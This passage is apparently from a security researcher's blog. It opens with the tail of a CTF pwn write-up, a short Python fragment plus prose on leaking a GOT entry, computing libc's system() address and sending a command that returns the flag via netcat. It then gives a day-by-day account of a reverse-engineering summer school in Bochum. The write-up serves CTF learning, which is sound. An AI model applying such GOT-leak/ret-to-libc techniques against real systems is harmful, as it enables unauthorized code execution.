s.send(struct.pack("<I", system))
s.send(cmd+"\n")
t.interact()

This script now reads the leaked entry from the GOT, calculates the right address for system and sends it back. Afterwards, we send the command we want system to execute (lines 29 following in the code shown above). Please note, that the call to t.interact() does not work here, since STDOUT and STDIN are not redirected to our socket. Now, we just run our exploit and have it send us the flag via netcat 🙂

As mentioned earlier, we need knowledge of the used libc. Since we had already solved pwn200, we just used that library 🙂

Retrospect on the UbiCrypt Summer School last week

Since I only started to put content to my website just now, I was thinking about starting the blog with something positive. Hence, the summer school I attended last week came to mind, so I wanted to write about that.

When I was visiting SAP Research in Karlsruhe a couple of weeks ago, my colleague Sebastian told me that the University in Bochum was organizing a summer school on Reverse Engineering. Although I had my share of fun with REing both in working and when teaching, I still had a pretty good feeling about the workshop since I know the people in Bochum and their skillsets. So, I wrote the organizing professor and asked whether there were still slots available. Luckily, although I was too late for the deadline, he told me that they had same slots left and thus I registered for the workshop. In order to get in, every participant had to solve a simple test, where he had to derive a solution for a given input into a binary provided by the summer school. In my first try, I completely missed what that input should have been and only generated a correct solution for the input “222222”. A short mail from the organizers however got me to take a look again and I subsequently generated the proper solution.

Day 0 and Day 1

Together with Sebastian and my colleague from Erlangen, Johannes, I drove to Bochum on sunday. After arriving we had a bite to eat and were eager to see what was awaiting. So, the next morning we went to the University. After registration, the first talk was on the basics of Reverse Engineering and was not that interesting at fist glance. The second talk of the day was on the inner workings of Windows and the PE file type – also something I was aware of before the workshop.However, in the afternoon my mood changed quite a bit. The exercise assignments were really great and needed us to work with IDApython. Although I had worked with IDA frequently before hand and am a lover of python, I had never taken a look at IDApython. After a while, Johannes and I developed lots of working code – at this stage capable of unpacking a simple XORed binary. We played around quite a bit more until the late afternoon when all participants of the workshop went to a BBQ. There, I met a lot of people I hadn’t seen in quite some time and had a nice evening all around. Nevertheless, at 9pm Johannes and I were starting to discuss the things we had done that day .. and subsequently started up reversing again.

Day 2

The second day started with a talk on unpacking, followed by a howto on analysing C++ binaries in IDA and regarding the removal of junk code in binaries. The exercises gave us ample opportunity to sharpen our IDApython skills. The whole thing led to roughly 600 loc python being implemented  – and they actually did what they were supposed to do! We stayed late at the lab that night and went to dinner in the inner city with Sebastian and the organizer.

Day 3

The third day of the summer school was the designated “Research Day”. Since the group organizing the summer school is closely linked with the SysSec Network of Excellence, the summer school co-hosted the Second SysSec Workshop, where the best publications from members of the SysSec Network and EU projects were presented. Alongside these also was our paper on DNS Rebinding. Although I will be flying to Washington to present it at USENIX Security, Sebastian gave the talk. However, this way he had to do the slides and I can just change a few things for my presentation in two weeks 😉
There were also two talks by professors on how to submit papers and have them accepted. They also outlined the process of being rejected and working with the comments given by the reviewers in a sound way – both when re-writing the paper for the next conference or when answering the comments in a rebuttal phase. I took quite a lot from these two talks. Another suggestion provided in the talks was the idea of Security Reading Groups. Together with Johannes, I will now try to introduce that at our group  and hope for good results.

After an interesting day of talks, Johannes and I still had some work to do. Thus, we spend the evening in a guest office at the university instead of drinking with the other participants.

Day 4

The topic of day 4 was taint analysis in binaries. I was very happy to see that in the talk the concept of taint tracking was mostly understood and implemented the way I had done it in my thesis. The inner workings of minemu and its predecessors were explained and afterwards, the next lecturer talked about PIN tool and binary instrumentation — in a really fast manner. I personally consider myself to be a very fast speaker, but he beat me by a land slide. However, this way we got to lunch early 😉
After lunch, we went back to the lab to play with the new tools. Johannes and I were quickly able to master the first three (of six) tasks given to us. However, the fourth task then led to exhaustion because of the poor documentation of PIN tool. Although it might be very powerful, the document is practically non-existent and thus getting things to work the way you want them to is hard in just a couple of hours. At 1730 we went to our hotel to drop off our laptops and then went to the inner city for a guided tour. However, we were a bit late, then our train was stopped due to a medical emergency. This way, we were 30mins late to the tour… which had already left. After making some calls, we found our group and joined them for the last 30 minutes of their tour. After that, we had a bite to eat and met up with the rest of the participants at Bermuda3Eck. There, we had quite some interesting conversations and finally went home at 1.30am.

Day 5

Tired from the night before, we packed our stuff and went to the university for the final day. The last day was focussed on mobile security and reversing. Sadly, this day was not able to keep up the high standards from the previous days. The focus was only on Android and only on Apps not making use of native code. Thus, we were able to solve the given challenges very quickly. We then took the train home (5hrs, woohuu) and arrived back home in Erlangen friday night.

Concluding the week, I had a really great time in Bochum. The Windows binary challenges were reasonably hard and provided us with quite a challenge. Although day 4 and day 5 were not as great as the first three days, I can absolutely recommend this summer school. Alongside the hard technical skills I took away from the week, I also had some ideas on how to improve our Hackerpraktikum and will now try to adopt the idea of reading groups at our group. A big thanks goes out to the organizers which really made this a great week – especially at the really low rate of 200€ for the complete week including lunch each day and snacks in all the breaks.

Top